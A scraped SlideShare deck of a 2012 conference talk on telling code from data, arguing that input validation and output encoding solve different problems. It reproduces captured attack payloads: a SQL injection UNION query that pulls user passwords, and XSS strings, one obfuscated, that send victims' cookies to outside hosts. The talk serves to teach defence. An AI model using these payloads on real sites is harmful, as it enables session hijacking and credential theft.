SlideShare a Scribd company logo
Is What You Get, What You Expect to Get?

     Philip Tellis / philip@lognormal.com


                 ConFoo.ca / 2012-03-01




      ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   1
IWYGWYETG




ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   2
$ finger philip




       Philip Tellis
       philip@lognormal.com
       @bluesmoon
       geek - paranoid - speedfreak
       co-founder Log-Normal
       http://bluesmoon.info/




                 ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   3
WARNING !
This presentation may contain unreadable code. Attempting to read it
is probably not worthwhile. Definitely not at 08:30. Screaming
WTF!!1! probably is.




             ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   4

Recommended for you

Hacking Your Way To Better Security
Hacking Your Way To Better SecurityHacking Your Way To Better Security
Hacking Your Way To Better Security

The goal of this talk is to educate developers on common security vulnerabilities, how they are exploited, and how to protect against them. We'll explore several of the OWASP Top 10 attack vectors like SQL injection, XSS, CSRF, session hijacking, and insecure direct object references. Each topic will be approached from the perspective of an attacker to see how these vulnerabilities are detected and exploited using several realistic examples. Once we've established an understanding of how these attacks work, we'll look at concrete steps you can take to secure web applications against such vulnerabilities. The knowledge gained from this talk can also be used for participating in "Capture the Flag" security competitions.

csrfvulnerabilitiessql
PHP Secure Programming
PHP Secure ProgrammingPHP Secure Programming
PHP Secure Programming

The document discusses various PHP security vulnerabilities like code injection, SQL injection, cross-site scripting (XSS), session hijacking, and remote code execution. It provides examples of each vulnerability and methods to prevent them, such as input validation, output encoding, secure session management, and restricting shell commands. The goal is to teach secure PHP programming practices to avoid security issues and defend against common attacks.

securitysql injectionweb
CO2 sequestration in a different manner
CO2 sequestration in a different mannerCO2 sequestration in a different manner
CO2 sequestration in a different manner

A lunch lecture was given at Differ (www.differ.nl) about another method of sequestering CO2. Olivine is one of the minerals that can be used for the application. It details three routes for CO2 sequestration. A focus is given on the development of a process intensification. This would increase the geological reaction rate to process engineering time scale. The proposed process has got a parallel in the "VerTech process" as established in the 1990's in Apeldoorn (the Netherlands). The lecture was from global scale (focussing on amounts of CO2 involved) down to atomic scale.

gravity pressure vesselolivinegpv
How do you distinguish code from data?




    ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   5
< > ’ "  & % ‘




 ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   6
Failure to tell the difference. . .




                ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   7
Note: This talk is NOT about XSS or SQLi,
        but it might seem like it




     ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   8

Recommended for you

تفسير العشر الأخير من القران الكريم ويليه احكام تهم المسلم
تفسير العشر الأخير من القران الكريم ويليه احكام تهم المسلمتفسير العشر الأخير من القران الكريم ويليه احكام تهم المسلم
تفسير العشر الأخير من القران الكريم ويليه احكام تهم المسلم

تفسير العشر الأخير من القران الكريم ويليه احكام تهم المسلم http://www.islamic-invitation.com/book_details.php?bID=706

alsoاحكامالمسلم
Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016

This talk educates developers on common security vulnerabilities, how they are exploited, and how to protect against them. We'll explore several of the OWASP Top 10 attack vectors like SQL injection, XSS, CSRF, and more. Each topic will be approached from the perspective of an attacker to see how these vulnerabilities are detected and exploited using several realistic examples. We'll then apply this knowledge to see how web applications can be secured against such vulnerabilities.

phpowaspxss
Man in the Middle? - No, thank you!
Man in the Middle? - No, thank you!Man in the Middle? - No, thank you!
Man in the Middle? - No, thank you!

The document discusses techniques for validating SSL certificates to prevent man-in-the-middle attacks. It describes reference certificates, where the client bundles the server's certificate and compares it to the one presented. It also covers certificate fingerprinting, where the client compares the certificate's fingerprint to a trusted reference. Both approaches aim to detect if a rogue certificate is intercepting the connection between client and server. The document cautions that certificate changes over time could break validation and recommends updating apps and references in a timely manner.

Let’s look at a few examples




ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   9
http://xxyyzz.com/forms/contact_form.asp?i=
  0%27%20UNION%20ALL%20SELECT%201,2,3,4,5,%28
  %27%3c%28%20%27%2buserId%29,%28firstname
  %2b%27%20%27%2blastname%29,%28address%2b
  %27%20city:%27%2bcity%29,9,10,11,12,13,14,15,16,
  %28email%2b%27%20-Password:%20%27%27
  %2buserpwd%2b%27%20%29%3e%27%29,18,19,20,21,
  22,23,24,25,26,27,28,29,30%20FROM%20




         ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   10
http://xxyyzz.com/forms/contact_form.asp?i=
  0’      UNION   ALL   SELECT  1,2,3,4,5, (
  ’    < (      ’ + userId ) , ( firstname
  +    ’     ’ + lastname ) , ( address +
  ’      city: ’ + city ) ,9,10,11,12,13,14,15,16,
    ( email + ’     -Password:   ’ ’
  + userpwd + ’        ) > ’ ) ,18,19,20,21,
  22,23,24,25,26,27,28,29,30   FROM




         ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   11
Expected a positive integer, but got more than that




      ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   12

Recommended for you

Ruby on Rails: Tasty Burgers
Ruby on Rails: Tasty BurgersRuby on Rails: Tasty Burgers
Ruby on Rails: Tasty Burgers

The document discusses various topics related to Ruby on Rails including SQLite3-Ruby, ERb, and Rack. It provides an overview of how SQLite3-Ruby works with Rails as the default database adapter. It also discusses how to use SQLite3-Ruby outside of Rails, including establishing connections, making queries, and preparing statements. The document then summarizes how ERb works as the template language in Rails and how to use it outside Rails. It ends with a brief mention of Rack.

railsconf
User authentication module using php
User authentication module using phpUser authentication module using php
User authentication module using php

This document describes a user authentication module created using PHP. It includes pages for sign up, login, password reset, and a user inbox. The sign up page collects user details and validates the information before inserting a new user record into a MySQL database. The login page authenticates users by matching their user ID and password. Password and security answers are encrypted before storage. The module provides functionality for common authentication tasks.

phpcomputer programhtml
Clean code
Clean codeClean code
Clean code

The document discusses principles of clean code, including: - Functions should be small and focus on doing one thing. - Use intention-revealing names for variables, functions, etc. - Avoid comments when possible by making code self-documenting. - Prefer exceptions over returning error codes to indicate problems.

cleancode
<?php
$id = htmlspecialchars($_GET[ ’id’ ]);
?>
...
value : <?php echo ($id) ? $id : ’null’; ?>



     This is JavaScript code generated by PHP




       ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   13
id=%3Cscript%3Edocument.location=%27
  http://www.silic0n.byethost8.com/index.php
  ?isr=%27%20+escape(document.cookie)
  %3C/script%3E

 $id should have been an integer
 A bug in this attack rendered it unsuccessful




         ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   14
id=%3Cscript%3Edocument.location=%27
  http://www.silic0n.byethost8.com/index.php
  ?isr=%27%20+escape(document.cookie)
  %3C/script%3E

 $id should have been an integer
 A bug in this attack rendered it unsuccessful




         ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   14
id=%3Cscript%3Edocument.location=%27
  http://www.silic0n.byethost8.com/index.php
  ?isr=%27%20+escape(document.cookie)
  %3C/script%3E

 $id should have been an integer
 A bug in this attack rendered it unsuccessful




         ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   14

Recommended for you

Php Security By Mugdha And Anish
Php Security By Mugdha And AnishPhp Security By Mugdha And Anish
Php Security By Mugdha And Anish

Mugdha and Amish from OSSCube present on Php security at OSSCamp, organized by OSSCube - A Global open Source enterprise for Open Source Solutions To know how we can help your business grow, leveraging Open Source, contact us: India: +91 995 809 0987 USA: +1 919 791 5427 WEB: www.osscube.com Mail: sales@osscube.com

delhiosscamposscamps
[FDD 2017] Mark Seemann - Humane code
[FDD 2017] Mark Seemann - Humane code[FDD 2017] Mark Seemann - Humane code
[FDD 2017] Mark Seemann - Humane code

Why are most code bases bad? Why is it, that, despite our best intentions, code rots between our fingers? The answer is that most of us still think of code as merely a technical tool to reach a goal: implementing a feature, fixing a bug. While it certainly is that, it’s also a written medium for communicating with (other) people.

civil vs common law
civil vs common lawcivil vs common law
civil vs common law

This document provides an overview of the ACC Europe's 2005 Annual Conference, including summaries of presentations on common differences between civil and common law jurisdictions and comparisons between common law systems. The conference featured presentations from legal experts on topics such as distinguishing features of various European legal systems and procedural rules. One presentation provided a high-level summary of 501 differences between civil and common law jurisdictions. Another presentation compared common law systems, noting differences in sources of law, roles of judges, and approaches to precedent between countries like England, Ireland, and local systems. The conference offered opportunities for lawyers to learn and discuss diverse international legal practices.

Expected a positive integer, but got more than that




      ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   15
<a
     <?php echo ’href=/stock_price?f=’ .
          htmlspecialchars($_GET[’f’]);
     ?>
>




           ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   16
<a
     <?php echo ’href=/stock_price?f=’ .
          htmlspecialchars($_GET[’f’]);
     ?>
>




           ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   16
use the quotes luke
<a                    "
     <?php echo ’href=/stock_price?f=’ .
          htmlspecialchars($_GET[’f’]);
     ?>
>




           ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   16

Recommended for you

Top 10 php classic traps DPC 2020
Top 10 php classic traps DPC 2020Top 10 php classic traps DPC 2020
Top 10 php classic traps DPC 2020

PHP has its own treasure chest of classic mistakes that surprises even the most seasoned expert : code that dies just by changing its namespace, strpos() that fails to find strings or arrays that changes without touching them. Do that get on your nerves too ? Let’s make a list of them, so we can always teach them to the new guys, spot them during code reviews and kick them out of our code once and for all. Come on, you’re not frightening us !

phptipsclassic bugs
Webit expo Standard Product
Webit expo Standard ProductWebit expo Standard Product
Webit expo Standard Product

The document contains code snippets for making API calls to PayPal to facilitate different parts of an Express Checkout transaction flow. The code handles setting up an Express Checkout transaction, getting details of an Express Checkout transaction, and completing payment for an Express Checkout transaction. It also includes code for setting up a billing agreement and reference transactions.

Arabic uae e_services_user_manual
Arabic uae e_services_user_manualArabic uae e_services_user_manual
Arabic uae e_services_user_manual

The document discusses a new service being launched by Moie Serv to provide document summarization in 3 sentences or less. The service aims to extract the key details and essential information from documents in a concise manner. It can summarize documents from legal, medical, academic and news domains. Customers will be able to access the summarization tool through Moie Serv's website.

/stock_price?f=ACDD%20STYLE=x:expression(
 document.write(String.fromCharCode(
 60,105,109,103,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,40,100,111,99,
 117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,
 115,116,97,110,100,97,114,100,51,51,46,102,114,101,101,104,111,115,116,105,97,46,99,
 111,109,47,67,83,47,108,103,46,112,104,112,63,105,110,102,111,61,39,43,101,15,99,97,
 112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,41,62

)))




             ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?          17
/stock_price?f=ACDD%20STYLE=x:expression(
 document.write(String.fromCharCode(
 60,105,109,103,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,40,100,111,99,
 117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,
 115,116,97,110,100,97,114,100,51,51,46,102,114,101,101,104,111,115,116,105,97,46,99,
 111,109,47,67,83,47,108,103,46,112,104,112,63,105,110,102,111,61,39,43,101,15,99,97,
 112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,41,62

)))




             ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?          17
/stock_price?f=ACDD%20STYLE=x:expression(
 document.write(String.fromCharCode(
 60,105,109,103,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,40,100,111,99,
 117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,
 115,116,97,110,100,97,114,100,51,51,46,102,114,101,101,104,111,115,116,105,97,46,99,
 111,109,47,67,83,47,108,103,46,112,104,112,63,105,110,102,111,61,39,43,101,15,99,97,
 112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,41,62

)))




             ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?          17
The char codes translate to:

<img src=x onerror=(document.location=’
  http://standard33.freehostia.com/CS/lg.php?info=’
  +escape(document.cookie))>

    $f was html encoded, but used unquoted as an attribute
    value.
    Remember that spaces are never encoded.




            ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   18

Recommended for you

Dip Your Toes in the Sea of Security (PHP South Africa 2017)
Dip Your Toes in the Sea of Security (PHP South Africa 2017)Dip Your Toes in the Sea of Security (PHP South Africa 2017)
Dip Your Toes in the Sea of Security (PHP South Africa 2017)

Security is an enormous topic, and it’s really, really complicated. If you’re not careful, you’ll find yourself vulnerable to any number of attacks which you definitely don’t want to be on the receiving end of. This talk will give you just a taster of the vast array of things there is to know about security in modern web applications, such as writing secure PHP web applications and securing a Linux server. Whether you are writing anything beyond a basic brochure website, or even developing a complicated business web application, this talk will give you insights to some of the things you need to be aware of.

phpssecurityapplication security
Comparative Genomics with GMOD and BioPerl
Comparative Genomics with GMOD and BioPerlComparative Genomics with GMOD and BioPerl
Comparative Genomics with GMOD and BioPerl

BioPerl is an open source toolkit for bioinformatics data manipulation written in Perl. It contains modules for reading and writing sequence data in common formats, manipulating sequences, parsing BLAST reports and multiple sequence alignments. BioPerl objects represent sequences, features, annotations and search results in a flexible and extensible way. The toolkit is widely used for tasks like sequence analysis, parsing bioinformatics software output, and accessing biological databases.

Boomerang at FOSS.IN/2010
Boomerang at FOSS.IN/2010Boomerang at FOSS.IN/2010
Boomerang at FOSS.IN/2010

This document discusses Boomerang, a JavaScript tool that measures web page performance from the end user's perspective. It works by including a small snippet of JavaScript on web pages that measures load time, latency, and bandwidth and sends the results back to the server. It provides more accurate real-world performance metrics than lab testing alone. The document explains how Boomerang specifically measures latency by downloading small images repeatedly, bandwidth by progressively larger images, and load time using timestamps. Contributing code or plugins to the Boomerang open source project on GitHub can help improve it.

boomerangfossinjavascript
Expected a stock symbol, but got more than that




    ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   19
<?php
  $host=htmlspecialchars($_REQUEST[’h’], ENT_QUOTES);
?>
...
var host = "<?php echo $host ?>";
var div = document.getElementById("l");
div.innerHTML = "<a href="http://xxx.xx.com/gethost?h=""
   + host + ">" + host + "</a>";


   Notice the different contexts
   What’s special (meta) to one language but not the other?




           ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   20
<?php
  $host=htmlspecialchars($_REQUEST[’h’], ENT_QUOTES);
?>
...
var host = "<?php echo $host ?>";
var div = document.getElementById("l");
div.innerHTML = "<a href="http://xxx.xx.com/gethost?h=""
   + host + ">" + host + "</a>";


   Notice the different contexts
   What’s special (meta) to one language but not the other?




           ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   20
<?php
  $host=htmlspecialchars($_REQUEST[’h’], ENT_QUOTES);
?>
...
var host = "<?php echo $host ?>";
var div = document.getElementById("l");
div.innerHTML = "<a href="http://xxx.xx.com/gethost?h=""
   + host + ">" + host + "</a>";


   Notice the different contexts
   What’s special (meta) to one language but not the other?




           ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   20

Recommended for you

Javascript charting with YUI-Flot
Javascript charting with YUI-FlotJavascript charting with YUI-Flot
Javascript charting with YUI-Flot

This document is a presentation about javascript charting with YUI-Flot. It introduces YUI-Flot as a port of the Flot charting library to the YUI framework. It discusses charting options for the web, demonstrates basic chart types with YUI-Flot like scatter plots and time series, and covers how to include the library, get data, and instantiate charts. It also outlines future plans like supporting newer Flot features and contributions from the community.

yuiflotjavascript
Boomerang at the Boston Web Performance meetup
Boomerang at the Boston Web Performance meetupBoomerang at the Boston Web Performance meetup
Boomerang at the Boston Web Performance meetup

The document discusses boomerang, a JavaScript tool for measuring web page performance from the end user's perspective. It works by measuring latency, bandwidth, and page load times and sending that data back to the developer. The collected data can be analyzed to identify outliers, trends over time, and opportunities for performance improvements based on factors like user location and ISP.

bostonboomerangjavascript
MySQL Business Continuity Planning
MySQL Business Continuity PlanningMySQL Business Continuity Planning
MySQL Business Continuity Planning

Setting up MySQL for near 100% application uptime is not hard, but does require enough hardware redundancy and some smart planning.

mysqlreplicationbcp
<?php
  $host=htmlspecialchars($_REQUEST[’h’], ENT_QUOTES);
?>
...
var host = "<?php echo $host ?>";
var div = document.getElementById("l");
div.innerHTML = "<a href="http://xxx.xx.com/gethost?h=""
   + host + ">" + host + "</a>";


   Notice the different contexts
   What’s special (meta) to one language but not the other?




           ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   20
<?php
  $host=htmlspecialchars($_REQUEST[’h’], ENT_QUOTES);
?>
...
var host = "<?php echo $host ?>";
var div = document.getElementById("l");
div.innerHTML = "<a href="http://xxx.xx.com/gethost?h=""
   + host + ">" + host + "</a>";


   Notice the different contexts
   What’s special (meta) to one language but not the other?




           ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   20
<?php
  $host=htmlspecialchars($_REQUEST[’h’], ENT_QUOTES);
?>
...
var host = "<?php echo $host ?>";
var div = document.getElementById("l");
div.innerHTML = "<a href="http://xxx.xx.com/gethost?h=""
   + host + ">" + host + "</a>";


   Notice the different contexts
   What’s special (meta) to one language but not the other?




           ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   20
h=u0022u003eu003cimgu0020srcu003du0022foou0022u0020
  onerroru003du0022alert(u0027xssu0027)




          ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   21

Recommended for you

Over The Top Video
Over The Top VideoOver The Top Video
Over The Top Video

A survey found that 35% of viewers blame the operator when video streaming is not working properly, while 70% of subscribers consider TV Everywhere an important offering provided by their provider. The survey also found that gaining 50,000 additional subscribers can generate $50 million in annual revenue for providers.

akamai technologiestv everywherevideo streaming
Websites on overdrive
Websites on overdriveWebsites on overdrive
Websites on overdrive

The document discusses improving website performance. It notes that performance depends on bandwidth and latency. Bandwidth refers to the maximum data transfer rate, while latency refers to delays in data transfer. The document suggests concentrating optimization efforts on improving either bandwidth or latency based on individual website needs. Faster load times can positively impact user experience and business metrics like conversion rates.

webdu2010webdusydney
Improving D3 Performance with CANVAS and other Hacks
Improving D3 Performance with CANVAS and other HacksImproving D3 Performance with CANVAS and other Hacks
Improving D3 Performance with CANVAS and other Hacks

This document discusses techniques for improving the performance of D3 visualizations. It begins with an overview of D3 and some basic tutorials. It then describes issues with performance for force-directed layouts and edge-bundled layouts as the number of nodes and links increases. Solutions proposed include using canvas instead of SVG for rendering, reducing unnecessary calculations, and caching repeated drawing states. The document concludes that the number of DOM nodes has major performance implications and techniques like canvas can help when exact mouse interactions are not required.

h=   "      >        < img            src   =              " foo          "
  onerror    =        " alert(        ’   xss          ’    )




            ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   21
h="><img src="foo"
  onerror="alert(’xss’)




          ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   21
Expected a hostname, but got something completely different




           ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   22
Dear IE6




   <input value="[e0]"> "onmouseover=alert(0) >




            ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   23

Recommended for you

PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation

This document summarizes common web application vulnerabilities like SQL injection and cross-site scripting (XSS) for PHP applications. It provides examples of each vulnerability and discusses mitigation strategies like input sanitization, encoding output, and using security frameworks. It also covers other risks like cross-site request forgery (CSRF) and the importance of secure server configurations.

phpsecurityphp
Big security for big data
Big security for big dataBig security for big data
Big security for big data

Some basic security controls you can (and should) implement in your web apps. Specifically this covers: 1 - Beyond SQL injection 2 - Cross-site Scripting 3 - Access Control

mongorole based access controlsecurity
Spot the Web Vulnerability
Spot the Web VulnerabilitySpot the Web Vulnerability
Spot the Web Vulnerability

These are the slides from a talk "Spot the Web Vulnerability" held at Hacktivity 2012 conference (Hungary / Budapest 12th–13th October 2012) by Miroslav Stampar.

web securitycode reviewhacktivity
Dear IE6




   <input value="[e0]"> "onmouseover=alert(0) >
       That’s 0xe0, start of 3 byte seq




            ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   23
Dear IE6




   <input value=""onmouseover=alert(0) >




            ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   23
Expected valid UTF-8, got invalid UTF-8




 ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   24
So what’s the common theme here?




ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   25

Recommended for you

Zend Certification PHP 5 Sample Questions
Zend Certification PHP 5 Sample QuestionsZend Certification PHP 5 Sample Questions
Zend Certification PHP 5 Sample Questions

This document contains sample questions for the Zend Certification PHP 5 exam. It includes multiple choice questions testing PHP 5 language features and best practices related to topics like XML processing, database access, regular expressions, and security. The questions cover syntax, functions, patterns and other PHP concepts that could appear on the certification exam.

zend php
Lca05
Lca05Lca05
Lca05

This document provides an overview and examples of using PHP for various purposes including as a templating system, scripting language, and for generating dynamic images and PDFs. It discusses PHP's widespread use based on statistics and provides code examples for creating graphs, charts and invoices using PHP's gdchart and PDF extensions.

OWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP ProgrammersOWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP Programmers

Presented at #PHPLX 11 September 2013 The 2013 edition of OWASP (Open Web Application Security Project) top 10 has just been released and unfortunately Injections (not only SQL injection) is still the most common security problem. In this talk we will review the top 10 list of security problems looking at possible attack scenarios and ways to protect against them mostly from a PHP programmer perspective.

phpowaspsecurity
Should I be Validating Input or Encoding Output?




     ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   26
They solve two different problems, and you need both




       ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   27
Output Encoding (done automatically by your framework)
            protects your users from XSS




         ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   28
Input Validation is a data quality issue




ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   29

Recommended for you

Dealing With Legacy PHP Applications
Dealing With Legacy PHP ApplicationsDealing With Legacy PHP Applications
Dealing With Legacy PHP Applications

This document discusses strategies for dealing with legacy PHP code, including separating controllers and views, removing dependencies on global variables, refactoring procedural code to be object-oriented, and untangling nested require statements. Specific problems in legacy PHP code are said to include mixing of PHP and HTML, overuse of requires instead of method calls, and excessive use of global variables. The document provides examples of refactoring code to address these issues.

C#7, 7.1, 7.2, 7.3 e C# 8
C#7, 7.1, 7.2, 7.3 e C# 8C#7, 7.1, 7.2, 7.3 e C# 8
C#7, 7.1, 7.2, 7.3 e C# 8

The document discusses new features introduced in C# 7 and C# 7.1-7.2, including tuples, pattern matching, out variables, discards, numeric literals, local functions, generalized async return types, inferred tuple element names, default literals, async Main method, non-trailing named arguments, and leading separators for numeric literals. It provides links to Microsoft documentation and proposals for each new feature.

csharpc#c#8
Becoming a better WordPress Developer
Becoming a better WordPress DeveloperBecoming a better WordPress Developer
Becoming a better WordPress Developer

The document summarizes best practices for WordPress development. It recommends leveraging WordPress core functionality through APIs and hooks, contributing to core, internationalizing code, and following coding standards to write clean, readable code. It also emphasizes allowing others to hook into code through actions and filters and the importance of sanitization, escaping and security.

wordpressphpweb development
Is the input you get from a user of the type and range
               that you expect it to be?




          ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   30
Sometimes it results in back end code injection




    ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   31
But it always results in bad data




ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   32
Bonus Example: This hit me in production yesterday




      ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   33

Recommended for you

Ruby on Rails For Java Programmers
Ruby on Rails For Java ProgrammersRuby on Rails For Java Programmers
Ruby on Rails For Java Programmers

Ruby on Rails is a web application framework that is designed to make programming web applications easier. It uses conventions over configurations and includes features like ActiveRecord for object-relational mapping, ActionPack for building web applications, and ActionView for rendering views. Rails emphasizes convention over configuration and aims to provide a full stack framework that makes it easy to build database-backed web applications by following its conventions.

railsjavaruby
F2E's Creeds
F2E's CreedsF2E's Creeds
F2E's Creeds

This document outlines three "creeds" or principles for front-end engineers according to Morgan Cheng. Creed I states that performance is a key feature and outlines best practices like minimizing HTTP requests and assets. Creed II discusses progressive enhancement and building web pages that degrade gracefully across browsers. Creed III states the importance of being paranoid about security vulnerabilities like SQL injection, cross-site scripting (XSS), and cross-site request forgery (CSRF) by never trusting user input.

Error Management: Future vs ZIO
Error Management: Future vs ZIOError Management: Future vs ZIO
Error Management: Future vs ZIO

This document discusses error management in ZIO compared to Future. It begins with an overview of ZIO and Future effects before comparing how each handles errors. Key differences noted are that Future throws errors away on a side channel while ZIO composes errors. The document recommends best practices for error handling in ZIO like extending exceptions in sealed traits and avoiding reflexive logging. It concludes by discussing how ZIO enables next-generation debugging by tracking fibers and continuations during asynchronous execution.

functional programmingfpmonads
regex to check if text was a subdomain of a known domain




   re=new RegExp(’^(?:[^.]+.)*’ + dom + ’$’, ’i’);

   re.exec(ref)




              ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   34
Sometimes IE8 will serve requests from a .mht file




   mhtml:file://C:Usersblah-blah-blah.mht




              ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   35
I expected the regex to reject this text




ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   36
What I got was 100% CPU spent in regex backtracking




       ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   37

Recommended for you

Interpolique
InterpoliqueInterpolique
Interpolique

Dan Kaminsky introduces his new company Recursion Ventures and discusses session management on the web. He explains that the web was not designed for authenticated resources and credentials are easily accessible across sites due to issues with cookie-based session management. Kaminsky proposes using smarter string interpolation to allow developers to write code inline while preventing injections. He demonstrates a prototype called Interpolique that uses base64 encoding to sanitize variables before insertion into queries. This approach aims to make secure coding easier and mistakes immediately apparent.

HTML5 and Other Modern Browser Game Tech
HTML5 and Other Modern Browser Game TechHTML5 and Other Modern Browser Game Tech
HTML5 and Other Modern Browser Game Tech

Overview of HTML5 and other modern browser game technologies. Presented at Game Developers Conference 2011 by Vincent Scheib

html5gamedevgdc
From clever code to better code
From clever code to better codeFrom clever code to better code
From clever code to better code

Every software developer enjoys finding new and clever ways to solve problems. Writing code using his/her wits, intelligent and creativity. However, sometimes being too clever can lead to hard to track bugs, maintainability issues and impossible to understand code. Is all cleverly written code good code, or is it a problem just waiting to happen? In this session, I will show you real world examples of cleverly written code. And show you how we can use clean code principles, refactoring and design patterns, to transform that code from clever code to good code – one that your peers and future self would thank you for writing.

clean code.net framework
;(




ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   38
Unrelated Bonus Example: From a WordPress theme




      ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   39
<?php
   $value=htmlspecialchars($_GET[’value’], ENT_QUOTES);
?>
<input type="text"
    value="<?php echo $value ?>"
    onfocus="if(this.value==’<?php echo $value ?>’)
                {this.value = ’’;}" />




          ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   40
<input type="text"
   value="&#39;+alert(/xss/)+&#39;"
   onfocus="if(this.value==’&#39;+alert(/xss/)+&#39;’)
               {this.value = ’’;}" />



 Inside an on* handler, html entities are decoded before they
                are passed on to JavaScript




           ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   41

Recommended for you

Vladimir Vorontsov - Splitting, smuggling and cache poisoning come back
Vladimir Vorontsov - Splitting, smuggling and cache poisoning come backVladimir Vorontsov - Splitting, smuggling and cache poisoning come back
Vladimir Vorontsov - Splitting, smuggling and cache poisoning come back

This document discusses various techniques for HTTP response splitting and cache poisoning attacks. It provides examples of exploiting HTTP response splitting vulnerabilities to inject additional headers and responses. It also covers ways to poison caches by manipulating headers like Content-Length and Last-Modified to influence caching behavior. The document examines defenses implemented in modern browsers and web servers as well as mitigation techniques. It raises questions about the potential for these attacks to impact other protocols beyond HTTP.

zeronights 2011
Dealing with Legacy PHP Applications
Dealing with Legacy PHP ApplicationsDealing with Legacy PHP Applications
Dealing with Legacy PHP Applications

The document discusses refactoring legacy PHP code, specifically dealing with code that has no separation between PHP and HTML. It recommends separating code into controllers and views by gathering all code, separating controller and view code, assigning variables to a view object, changing variable references in the view code, and splitting the files. Specific problems in legacy PHP code like no separation of concerns, global variables, and reliance on includes can be addressed through techniques like creating view classes, encapsulating logic in objects, and wrapping includes in functions to untangle dependency webs. The goal is to safely change code implementation without changing behavior through refactoring.

Interpolique
InterpoliqueInterpolique
Interpolique

This document introduces Interpolique, a new approach to string interpolation that aims to prevent SQL injection and other injection attacks. It demonstrates how Interpolique works by rewriting inline SQL queries to use parameterized queries behind the scenes. Interpolique uses base64 encoding to safely pass variable data into queries. It allows developers to write queries inline while still protecting against injection. The goal is to let developers write code as they normally would but make injection attacks much harder to perform.

<input type="text"
   value="&#39;+alert(/xss/)+&#39;"
   onfocus="if(this.value==’&#39;+alert(/xss/)+&#39;’)
               {this.value = ’’;}" />



 Inside an on* handler, html entities are decoded before they
                are passed on to JavaScript




           ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   41
<input type="text"
   value="&#39;+alert(/xss/)+&#39;"
   onfocus="if(this.value==’’    +alert(/xss/)+                                ’’)
               {this.value = ’’;}" />



 Inside an on* handler, html entities are decoded before they
                are passed on to JavaScript




           ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?         41
I have no idea what was expected here




     ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   42
Questions?




ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   43

Recommended for you

Questioning the status quo
Questioning the status quoQuestioning the status quo
Questioning the status quo

